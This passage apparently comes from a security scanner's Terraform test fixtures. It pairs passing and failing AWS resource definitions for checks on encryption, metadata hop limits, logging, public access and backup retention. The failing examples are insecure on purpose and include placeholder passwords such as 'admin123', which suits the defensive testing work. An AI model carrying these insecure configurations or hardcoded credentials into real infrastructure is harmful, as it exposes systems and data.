volume_size = var.root_volume_size\n    encrypted   = true\n  }\n\n}\n\nresource \"aws_launch_configuration\" \"pass\" {\n  name_prefix                 = \"elk\"\n  image_id                    = data.aws_ami.elk.image_id\n  iam_instance_profile        = aws_iam_instance_profile.elk.name\n  instance_type               = var.instance_type\n  security_groups             = [aws_security_group.elk.id]\n  associate_public_ip_address = false\n\n  lifecycle {\n    create_before_destroy = true\n  }\n\n  root_block_device {\n    encrypted = var.encrypted\n  }\n  metadata_options {\n    http_endpoint = \"enabled\"\n    http_tokens   = \"required\"\n  }\n}\n\nresource \"aws_launch_configuration\" \"pass2\" {\n  name_prefix                 = \"elk\"\n  image_id                    = data.aws_ami.elk.image_id\n  iam_instance_profile        = aws_iam_instance_profile.elk.name\n  instance_type               = var.instance_type\n  security_groups             = [aws_security_group.elk.id]\n  associate_public_ip_address = false\n\n  lifecycle {\n    create_before_destroy = true\n  }\n\n  root_block_device {\n    encrypted = var.encrypted\n  }\n\n  ephemeral_block_device {\n    device_name  = \"somedisk\"\n    virtual_name = \"fred\"\n  }\n\n  metadata_options {\n    http_endpoint = \"enabled\"\n    http_tokens   = \"required\"\n  }\n}\n\nresource \"aws_launch_configuration\" \"fail\" {\n  name_prefix                 = \"elk\"\n  image_id                    = data.aws_ami.elk.image_id\n  iam_instance_profile        = aws_iam_instance_profile.elk.name\n  instance_type               = var.instance_type\n  security_groups             = [aws_security_group.elk.id]\n  associate_public_ip_address = false\n\n  lifecycle {\n    create_before_destroy = true\n  }\n\n  root_block_device {\n    encrypted = false\n  }\n  metadata_options {\n    http_endpoint = \"enabled\"\n    http_tokens   = \"required\"\n  }\n}\n\nvariable \"encrypted\" {\n  description = \"Root block device encryption\"\n  type        = bool\n  default     = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LaunchTemplateMetadataHop/main.tf",
    "content": "resource \"aws_launch_configuration\" \"pass\" {\n  image_id      = data.aws_ami.ubuntu.id\n  instance_type = \"m4.large\"\n  spot_price    = \"0.001\"\n\n  lifecycle {\n    create_before_destroy = true\n  }\n  metadata_options {\n    http_put_response_hop_limit = 1\n  }\n}\n\nresource \"aws_launch_configuration\" \"pass2\" {\n  image_id      = data.aws_ami.ubuntu.id\n  instance_type = \"m4.large\"\n  spot_price    = \"0.001\"\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\nresource \"aws_launch_configuration\" \"fail\" {\n  image_id      = data.aws_ami.ubuntu.id\n  instance_type = \"m4.large\"\n  spot_price    = \"0.001\"\n\n  lifecycle {\n    create_before_destroy = true\n  }\n  metadata_options {\n    http_put_response_hop_limit = 2\n  }\n}\n\nresource \"aws_launch_template\" \"pass\" {\n  name = \"foo\"\n\n  block_device_mappings {\n    device_name = \"/dev/sdf\"\n\n    ebs {\n      volume_size = 20\n    }\n  }\n\n  capacity_reservation_specification {\n    capacity_reservation_preference = \"open\"\n  }\n\n  cpu_options {\n    core_count       = 4\n    threads_per_core = 2\n  }\n\n  credit_specification {\n    cpu_credits = \"standard\"\n  }\n\n  disable_api_stop        = true\n  disable_api_termination = true\n\n  ebs_optimized = true\n\n  elastic_gpu_specifications {\n    type = \"test\"\n  }\n\n  elastic_inference_accelerator {\n    type = \"eia1.medium\"\n  }\n\n  iam_instance_profile {\n    name = \"test\"\n  }\n\n  image_id = \"ami-test\"\n\n  instance_initiated_shutdown_behavior = \"terminate\"\n\n  instance_market_options {\n    market_type = \"spot\"\n  }\n\n  instance_type = \"t2.micro\"\n\n  kernel_id = \"test\"\n\n  key_name = \"test\"\n\n  license_specification {\n    license_configuration_arn = \"arn:aws:license-manager:eu-west-1:123456789012:license-configuration:lic-0123456789abcdef0123456789abcdef\"\n  }\n\n  metadata_options {\n    http_endpoint               = \"enabled\"\n    http_tokens                 = \"required\"\n    http_put_response_hop_limit = 1\n    instance_metadata_tags      = \"enabled\"\n  }\n\n  monitoring {\n    enabled = true\n  }\n\n  network_interfaces {\n    associate_public_ip_address = true\n  }\n\n  placement {\n    availability_zone = \"us-west-2a\"\n  }\n\n  ram_disk_id = \"test\"\n\n  vpc_security_group_ids = [\"sg-12345678\"]\n\n  tag_specifications {\n    resource_type = \"instance\"\n\n    tags = {\n      Name = \"test\"\n    }\n  }\n\n  user_data = filebase64(\"${path.module}/example.sh\")\n}\n\nresource \"aws_launch_template\" \"pass2\" {\n  name = \"foo\"\n\n  block_device_mappings {\n    device_name = \"/dev/sdf\"\n\n    ebs {\n      volume_size = 20\n    }\n  }\n\n  capacity_reservation_specification {\n    capacity_reservation_preference = \"open\"\n  }\n\n  cpu_options {\n    core_count       = 4\n    threads_per_core = 2\n  }\n\n  credit_specification {\n    cpu_credits = \"standard\"\n  }\n\n  disable_api_stop        = true\n  disable_api_termination = true\n\n  ebs_optimized = true\n\n  elastic_gpu_specifications {\n    type = \"test\"\n  }\n\n  elastic_inference_accelerator {\n    type = \"eia1.medium\"\n  }\n\n  iam_instance_profile {\n    name = \"test\"\n  }\n\n  image_id = \"ami-test\"\n\n  instance_initiated_shutdown_behavior = \"terminate\"\n\n  instance_market_options {\n    market_type = \"spot\"\n  }\n\n  instance_type = \"t2.micro\"\n\n  kernel_id = \"test\"\n\n  key_name = \"test\"\n\n  license_specification {\n    license_configuration_arn = \"arn:aws:license-manager:eu-west-1:123456789012:license-configuration:lic-0123456789abcdef0123456789abcdef\"\n  }\n\n  metadata_options {\n    http_endpoint          = \"enabled\"\n    http_tokens            = \"required\"\n    instance_metadata_tags = \"enabled\"\n  }\n\n  monitoring {\n    enabled = true\n  }\n\n  network_interfaces {\n    associate_public_ip_address = true\n  }\n\n  placement {\n    availability_zone = \"us-west-2a\"\n  }\n\n  ram_disk_id = \"test\"\n\n  vpc_security_group_ids = [\"sg-12345678\"]\n\n  tag_specifications {\n    resource_type = \"instance\"\n\n    tags = {\n      Name = \"test\"\n    }\n  }\n\n  user_data = filebase64(\"${path.module}/example.sh\")\n}\n\nresource \"aws_launch_template\" \"fail\" {\n  name = \"foo\"\n\n  block_device_mappings {\n    device_name = \"/dev/sdf\"\n\n    ebs {\n      volume_size = 20\n    }\n  }\n\n  capacity_reservation_specification {\n    capacity_reservation_preference = \"open\"\n  }\n\n  cpu_options {\n    core_count       = 4\n    threads_per_core = 2\n  }\n\n  credit_specification {\n    cpu_credits = \"standard\"\n  }\n\n  disable_api_stop        = true\n  disable_api_termination = true\n\n  ebs_optimized = true\n\n  elastic_gpu_specifications {\n    type = \"test\"\n  }\n\n  elastic_inference_accelerator {\n    type = \"eia1.medium\"\n  }\n\n  iam_instance_profile {\n    name = \"test\"\n  }\n\n  image_id = \"ami-test\"\n\n  instance_initiated_shutdown_behavior = \"terminate\"\n\n  instance_market_options {\n    market_type = \"spot\"\n  }\n\n  instance_type = \"t2.micro\"\n\n  kernel_id = \"test\"\n\n  key_name = \"test\"\n\n  license_specification {\n    license_configuration_arn = \"arn:aws:license-manager:eu-west-1:123456789012:license-configuration:lic-0123456789abcdef0123456789abcdef\"\n  }\n\n  metadata_options {\n    http_endpoint               = \"enabled\"\n    http_tokens                 = \"required\"\n    http_put_response_hop_limit = 2\n    instance_metadata_tags      = \"enabled\"\n  }\n\n  monitoring {\n    enabled = true\n  }\n\n  network_interfaces {\n    associate_public_ip_address = true\n  }\n\n  placement {\n    availability_zone = \"us-west-2a\"\n  }\n\n  ram_disk_id = \"test\"\n\n  vpc_security_group_ids = [\"sg-12345678\"]\n\n  tag_specifications {\n    resource_type = \"instance\"\n\n    tags = {\n      Name = \"test\"\n    }\n  }\n\n  user_data = filebase64(\"${path.module}/example.sh\")\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LustreFSEncryptedWithCMK/aws_fsx_lustre_file_system.tf",
    "content": "resource \"aws_fsx_lustre_file_system\" \"pass\" {\n  storage_capacity            = 1200\n  subnet_ids                  = [aws_subnet.test1.id]\n  deployment_type             = \"PERSISTENT_1\"\n  per_unit_storage_throughput = 50\n  kms_key_id                  = aws_kms_key.test1.arn\n}\n\nresource \"aws_fsx_lustre_file_system\" \"fail\" {\n  storage_capacity            = 1200\n  subnet_ids                  = [aws_subnet.test1.id]\n  deployment_type             = \"PERSISTENT_1\"\n  per_unit_storage_throughput = 50\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MQBrokerAuditLogging/main.tf",
    "content": "# pass\n\nresource \"aws_mq_broker\" \"enabled\" {\n  broker_name        = \"example\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.16.3\"\n  host_instance_type = \"mq.t3.micro\"\n\n  user {\n    password = \"admin123\"\n    username = \"admin\"\n  }\n\n  logs {\n    general = true\n    audit   = true\n  }\n}\n\n# fail\n\nresource \"aws_mq_broker\" \"default\" {\n  broker_name        = \"example\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.16.3\"\n  host_instance_type = \"mq.t3.micro\"\n\n  user {\n    password = \"admin123\"\n    username = \"admin\"\n  }\n}\n\nresource \"aws_mq_broker\" \"disabled\" {\n  broker_name        = \"example\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.16.3\"\n  host_instance_type = \"mq.t3.micro\"\n\n  user {\n    password = \"admin123\"\n    username = \"admin\"\n  }\n\n  logs {\n    general = false\n    audit   = false\n  }\n}\n\n\nresource \"aws_mq_broker\" \"unknown\" {\n  broker_name = \"example\"\n  engine_type = \"RabbitMQ\"\n\n  host_instance_type = \"mq.t3.micro\"\n\n  logs {\n    general = false\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MQBrokerEncryptedWithCMK/main.tf",
    "content": "\nresource \"aws_mq_broker\" \"pass\" {\n  broker_name = \"example\"\n\n  configuration {\n    id       = aws_mq_configuration.fail.id\n    revision = aws_mq_configuration.fail.latest_revision\n  }\n\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.15.13\"\n  host_instance_type = \"mq.t2.micro\"\n  security_groups    = [aws_security_group.test.id]\n\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"  # checkov:skip=CKV_SECRET_6 test secret\n  }\n\n  encryption_options {\n    use_aws_owned_key = false\n    kms_key_id        = aws_kms_key.example.arn\n  }\n}\n\n\nresource \"aws_mq_broker\" \"fail\" {\n  broker_name = \"example\"\n\n  configuration {\n    id       = aws_mq_configuration.fail.id\n    revision = aws_mq_configuration.fail.latest_revision\n  }\n\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.15.13\"\n  host_instance_type = \"mq.t2.micro\"\n  security_groups    = [aws_security_group.test.id]\n\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  encryption_options {\n    use_aws_owned_key = true\n  }\n}\n\nresource \"aws_mq_broker\" \"fail2\" {\n  broker_name = \"example\"\n\n  configuration {\n    id       = aws_mq_configuration.fail.id\n    revision = aws_mq_configuration.fail.latest_revision\n  }\n\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.15.13\"\n  host_instance_type = \"mq.t2.micro\"\n  security_groups    = [aws_security_group.test.id]\n\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MQBrokerLogging/main.tf",
    "content": "# pass\n\nresource \"aws_mq_broker\" \"enabled\" {\n  broker_name        = \"example\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.16.3\"\n  host_instance_type = \"mq.t3.micro\"\n\n  user {\n    password = \"admin123\"\n    username = \"admin\"\n  }\n\n  logs {\n    general = true\n  }\n}\n\n# fail\n\nresource \"aws_mq_broker\" \"default\" {\n  broker_name        = \"example\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.16.3\"\n  host_instance_type = \"mq.t3.micro\"\n\n  user {\n    password = \"admin123\"\n    username = \"admin\"\n  }\n}\n\nresource \"aws_mq_broker\" \"disabled\" {\n  broker_name        = \"example\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.16.3\"\n  host_instance_type = \"mq.t3.micro\"\n\n  user {\n    password = \"admin123\"\n    username = \"admin\"\n  }\n\n  logs {\n    general = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MQBrokerMinorAutoUpgrade/main/main.tf",
    "content": "\nresource \"aws_mq_broker\" \"fail\" {\n  broker_name = \"example\"\n\n  configuration {\n    id       = aws_mq_configuration.test.id\n    revision = aws_mq_configuration.test.latest_revision\n  }\n\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.15.9\"\n  host_instance_type = \"mq.t2.micro\"\n  security_groups    = [aws_security_group.test.id]\n\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"  # checkov:skip=CKV_SECRET_6 test secret\n  }\n\n  # encryption_options {\n  #   use_aws_owned_key=false\n  #   kms_key_id=aws_kms_key.examplea.arn\n  # }\n}\n\n\nresource \"aws_mq_broker\" \"fail2\" {\n  broker_name = \"example\"\n\n  configuration {\n    id       = aws_mq_configuration.test.id\n    revision = aws_mq_configuration.test.latest_revision\n  }\n\n  auto_minor_version_upgrade = false\n  engine_type                = \"ActiveMQ\"\n  engine_version             = \"5.15.9\"\n  host_instance_type         = \"mq.t2.micro\"\n  security_groups            = [aws_security_group.test.id]\n\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  # encryption_options {\n  #   use_aws_owned_key=false\n  #   kms_key_id=aws_kms_key.examplea.arn\n  # }\n}\n\n\nresource \"aws_mq_broker\" \"pass\" {\n  broker_name = \"example\"\n\n  configuration {\n    id       = aws_mq_configuration.test.id\n    revision = aws_mq_configuration.test.latest_revision\n  }\n\n  auto_minor_version_upgrade = true\n  engine_type                = \"ActiveMQ\"\n  engine_version             = \"5.15.9\"\n  host_instance_type         = \"mq.t2.micro\"\n  security_groups            = [aws_security_group.test.id]\n\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  # encryption_options {\n  #   use_aws_owned_key=false\n  #   kms_key_id=aws_kms_key.examplea.arn\n  # }\n}\n\nresource \"aws_kms_key\" \"example\" {\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MQBrokerVersion/main.tf",
    "content": "resource \"aws_mq_broker\" \"unknown\" {\n  broker_name = \"example\"\n\n  engine_type         = \"ActiveMQ\"\n  engine_version      = var.engine_version\n  host_instance_type  = \"mq.t2.micro\"\n  publicly_accessible = true\n  deployment_mode     = \"SINGLE_INSTANCE\"\n  # auto_minor_version_upgrade = true\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"  # checkov:skip=CKV_SECRET_6 test secret\n  }\n}\n\n\nresource \"aws_mq_broker\" \"fail\" {\n  broker_name = \"example\"\n\n  engine_type         = \"ActiveMQ\"\n  engine_version      = \"5.15.0\"\n  host_instance_type  = \"mq.t2.micro\"\n  publicly_accessible = true\n  deployment_mode     = \"SINGLE_INSTANCE\"\n  # auto_minor_version_upgrade = true\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  # publicly_accessible = true\n}\n\nresource \"aws_mq_broker\" \"pass\" {\n  broker_name = \"example\"\n\n  engine_type         = \"ActiveMQ\"\n  engine_version      = \"5.17.6\"\n  host_instance_type  = \"mq.t2.micro\"\n  publicly_accessible = true\n  deployment_mode     = \"SINGLE_INSTANCE\"\n  # auto_minor_version_upgrade = true\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  # publicly_accessible = true\n}\n\nresource \"aws_mq_broker\" \"pass2\" {\n  broker_name = \"example\"\n\n  engine_type         = \"RabbitMQ\"\n  engine_version      = \"3.11.20\"\n  host_instance_type  = \"mq.t2.micro\"\n  publicly_accessible = true\n  deployment_mode     = \"SINGLE_INSTANCE\"\n  # auto_minor_version_upgrade = true\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  # publicly_accessible = true\n}\n\n#no failing major versions yet\nresource \"aws_mq_broker\" \"fail2\" {\n  broker_name = \"example\"\n\n  engine_type         = \"RabbitMQ\"\n  engine_version      = \"3.7.6\"\n  host_instance_type  = \"mq.t2.micro\"\n  publicly_accessible = true\n  deployment_mode     = \"SINGLE_INSTANCE\"\n  # auto_minor_version_upgrade = true\n  user {\n    username = \"ExampleUser\"\n    password = \"MindTheGapps\"\n  }\n\n  # publicly_accessible = true\n}\n\nresource \"aws_mq_configuration\" \"fail\" {\n  description    = \"Example Configuration\"\n  name           = \"example\"\n  engine_type    = \"ActiveMQ\"\n  engine_version = \"5.15.0\"\n\n  data = <<DATA\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<broker xmlns=\"http://activemq.apache.org/schema/core\">\n  <plugins>\n    <forcePersistencyModeBrokerPlugin persistenceFlag=\"true\"/>\n    <statisticsBrokerPlugin/>\n    <timeStampingBrokerPlugin ttlCeiling=\"86400000\" zeroExpirationOverride=\"86400000\"/>\n  </plugins>\n</broker>\nDATA\n}\n\nresource \"aws_mq_configuration\" \"pass\" {\n  description    = \"Example Configuration\"\n  name           = \"example\"\n  engine_type    = \"ActiveMQ\"\n  engine_version = \"5.17.6\"\n\n  data = <<DATA\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<broker xmlns=\"http://activemq.apache.org/schema/core\">\n  <plugins>\n    <forcePersistencyModeBrokerPlugin persistenceFlag=\"true\"/>\n    <statisticsBrokerPlugin/>\n    <timeStampingBrokerPlugin ttlCeiling=\"86400000\" zeroExpirationOverride=\"86400000\"/>\n  </plugins>\n</broker>\nDATA\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MSKClusterNodesArePrivate/main.tf",
    "content": "resource \"aws_msk_cluster\" \"pass\" {\n  cluster_name           = \"pike\"\n  kafka_version          = \"3.2.0\"\n  number_of_broker_nodes = 2\n  broker_node_group_info {\n    storage_info {\n      ebs_storage_info {\n        volume_size = 1100\n      }\n    }\n    client_subnets = [\n      \"subnet-0562ef1d304b968f4\",\n    \"subnet-08895dbf9e060579b\"]\n    instance_type   = \"kafka.t3.small\"\n    security_groups = [\"sg-002ed1a53dc5fe0ad\"]\n    connectivity_info {\n      public_access {\n        type = \"DISABLED\"\n      }\n    }\n  }\n  client_authentication {\n    sasl {\n      scram = true\n    }\n  }\n  configuration_info {\n    arn      = \"\"\n    revision = 0\n  }\n  encryption_info {\n    encryption_at_rest_kms_key_arn = \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n    encryption_in_transit {\n      client_broker = \"TLS\"\n      in_cluster    = true\n    }\n  }\n  open_monitoring {\n    prometheus {\n      jmx_exporter {\n        enabled_in_broker = false\n      }\n\n      node_exporter {\n        enabled_in_broker = false\n      }\n    }\n\n  }\n  tags = {\n    pike = \"permissions\"\n  }\n}\n\nresource \"aws_msk_cluster\" \"pass2\" {\n  cluster_name           = \"pike\"\n  kafka_version          = \"3.2.0\"\n  number_of_broker_nodes = 2\n  broker_node_group_info {\n    storage_info {\n      ebs_storage_info {\n        volume_size = 1100\n      }\n    }\n    client_subnets = [\n      \"subnet-0562ef1d304b968f4\",\n    \"subnet-08895dbf9e060579b\"]\n    instance_type   = \"kafka.t3.small\"\n    security_groups = [\"sg-002ed1a53dc5fe0ad\"]\n  }\n  client_authentication {\n    sasl {\n      scram = true\n    }\n  }\n  configuration_info {\n    arn      = \"\"\n    revision = 0\n  }\n  encryption_info {\n    encryption_at_rest_kms_key_arn = \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n    encryption_in_transit {\n      client_broker = \"TLS\"\n      in_cluster    = true\n    }\n  }\n  open_monitoring {\n    prometheus {\n      jmx_exporter {\n        enabled_in_broker = false\n      }\n\n      node_exporter {\n        enabled_in_broker = false\n      }\n    }\n\n  }\n  tags = {\n    pike = \"permissions\"\n  }\n}\n\nresource \"aws_msk_cluster\" \"fail\" {\n  cluster_name           = \"pike\"\n  kafka_version          = \"3.2.0\"\n  number_of_broker_nodes = 2\n  broker_node_group_info {\n    storage_info {\n      ebs_storage_info {\n        volume_size = 1100\n      }\n    }\n    client_subnets = [\n      \"subnet-0562ef1d304b968f4\",\n      \"subnet-08895dbf9e060579b\"]\n    instance_type   = \"kafka.t3.small\"\n    security_groups = [\"sg-002ed1a53dc5fe0ad\"]\n    connectivity_info {\n      public_access {\n        type = \"SERVICE_PROVIDED_EIPS\"\n      }\n    }\n  }\n  client_authentication {\n    sasl {\n      scram = true\n    }\n  }\n  configuration_info {\n    arn      = \"\"\n    revision = 0\n  }\n  encryption_info {\n    encryption_at_rest_kms_key_arn = \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n    encryption_in_transit {\n      client_broker = \"TLS\"\n      in_cluster    = true\n    }\n  }\n  open_monitoring {\n    prometheus {\n      jmx_exporter {\n        enabled_in_broker = false\n      }\n\n      node_exporter {\n        enabled_in_broker = false\n      }\n    }\n\n  }\n  tags = {\n    pike = \"permissions\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MWAASchedulerLogsEnabled/main.tf",
    "content": "resource \"aws_mwaa_environment\" \"pass\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    dag_processing_logs {\n      enabled   = true\n      log_level = \"DEBUG\"\n    }\n\n    scheduler_logs {\n      enabled   = true\n      log_level = \"INFO\"\n    }\n  }\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n\nresource \"aws_mwaa_environment\" \"fail_false\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    dag_processing_logs {\n      enabled   = true\n      log_level = \"DEBUG\"\n    }\n\n    scheduler_logs {\n      enabled   = false\n      log_level = \"INFO\"\n    }\n  }\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n\nresource \"aws_mwaa_environment\" \"fail\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    dag_processing_logs {\n      enabled   = true\n      log_level = \"DEBUG\"\n    }\n\n  }\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MWAAWebserverLogsEnabled/main.tf",
    "content": "resource \"aws_mwaa_environment\" \"pass\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    dag_processing_logs {\n      enabled   = true\n      log_level = \"DEBUG\"\n    }\n\n    webserver_logs {\n      enabled   = true\n      log_level = \"INFO\"\n    }\n  }\n\n  name = \"example\"\n\n   network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n\nresource \"aws_mwaa_environment\" \"fail_false\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    webserver_logs {\n      enabled   = false\n      log_level = \"CRITICAL\"\n    }\n  }\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n\n\nresource \"aws_mwaa_environment\" \"fail\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MWAAWorkerLogsEnabled/main.tf",
    "content": "resource \"aws_mwaa_environment\" \"pass\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    worker_logs {\n      enabled   = true\n      log_level = \"CRITICAL\"\n    }\n  }\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n\n\nresource \"aws_mwaa_environment\" \"fail_false\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n  logging_configuration {\n    worker_logs {\n      enabled   = false\n      log_level = \"CRITICAL\"\n    }\n  }\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n\n\nresource \"aws_mwaa_environment\" \"fail_missing\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.example.arn\"\n\n\n  name = \"example\"\n\n  network_configuration {\n    security_group_ids = [\"aws_security_group.example.id\"]\n    subnet_ids         = \"aws_subnet.private[*].id\"\n  }\n\n  source_bucket_arn = \"aws_s3_bucket.example.arn\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MemoryDBClusterIntransitEncryption/main.tf",
    "content": "resource \"aws_memorydb_cluster\" \"pass\" {\n  acl_name                 = \"open-access\"\n  name                     = \"my-cluster\"\n  node_type                = \"db.t4g.small\"\n  num_shards               = 2\n  security_group_ids       = [aws_security_group.example.id]\n  snapshot_retention_limit = 7\n  subnet_group_name        = aws_memorydb_subnet_group.example.id\n}\n\nresource \"aws_memorydb_cluster\" \"pass2\" {\n  acl_name                 = \"open-access\"\n  name                     = \"my-cluster\"\n  node_type                = \"db.t4g.small\"\n  num_shards               = 2\n  security_group_ids       = [aws_security_group.example.id]\n  snapshot_retention_limit = 7\n  subnet_group_name        = aws_memorydb_subnet_group.example.id\n  tls_enabled              = true\n}\n\nresource \"aws_memorydb_cluster\" \"fail\" {\n  acl_name                 = \"open-access\"\n  name                     = \"my-cluster\"\n  node_type                = \"db.t4g.small\"\n  num_shards               = 2\n  security_group_ids       = [aws_security_group.example.id]\n  snapshot_retention_limit = 7\n  subnet_group_name        = aws_memorydb_subnet_group.example.id\n  tls_enabled              = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MemoryDBEncryptionWithCMK/main.tf",
    "content": "resource \"aws_memorydb_cluster\" \"fail\" {\n  acl_name                 = \"open-access\"\n  name                     = \"my-cluster\"\n  node_type                = \"db.t4g.small\"\n  num_shards               = 2\n  security_group_ids       = [aws_security_group.example.id]\n  snapshot_retention_limit = 7\n  subnet_group_name        = aws_memorydb_subnet_group.example.id\n}\n\n\nresource \"aws_memorydb_cluster\" \"pass\" {\n  acl_name                 = \"open-access\"\n  name                     = \"my-cluster\"\n  node_type                = \"db.t4g.small\"\n  num_shards               = 2\n  security_group_ids       = [aws_security_group.example.id]\n  snapshot_retention_limit = 7\n  subnet_group_name        = aws_memorydb_subnet_group.example.id\n  kms_key_arn              = aws_kms_key.example.arn\n}\n\nresource \"aws_kms_key\" \"example\" {}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_MemoryDBSnapshotEncryptionWithCMK/main.tf",
    "content": "resource \"aws_memorydb_snapshot\" \"fail\" {\n  name                     = \"pike\"\n  cluster_name = \"sato\"\n}\n\nresource \"aws_memorydb_snapshot\" \"pass\" {\n  cluster_name = \"sato\"\n  name                     = \"pike\"\n  kms_key_arn              = aws_kms_key.example.arn\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneClusterBackupRetention/NeptuneClusterBackupRetention.tf",
    "content": "## SHOULD PASS: backup retention to 7 or more\nresource \"aws_neptune_cluster\" \"ckv_unittest_pass\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 7\n}\n\n## SHOULD FAIL: backup retention to less than 7\nresource \"aws_neptune_cluster\" \"ckv_unittest_fail_not_adequate\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 3\n}\n\n## SHOULD FAIL: backup retention not set (default is 1)\nresource \"aws_neptune_cluster\" \"ckv_unittest_fail_default\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneClusterEncryptedWithCMK/main.tf",
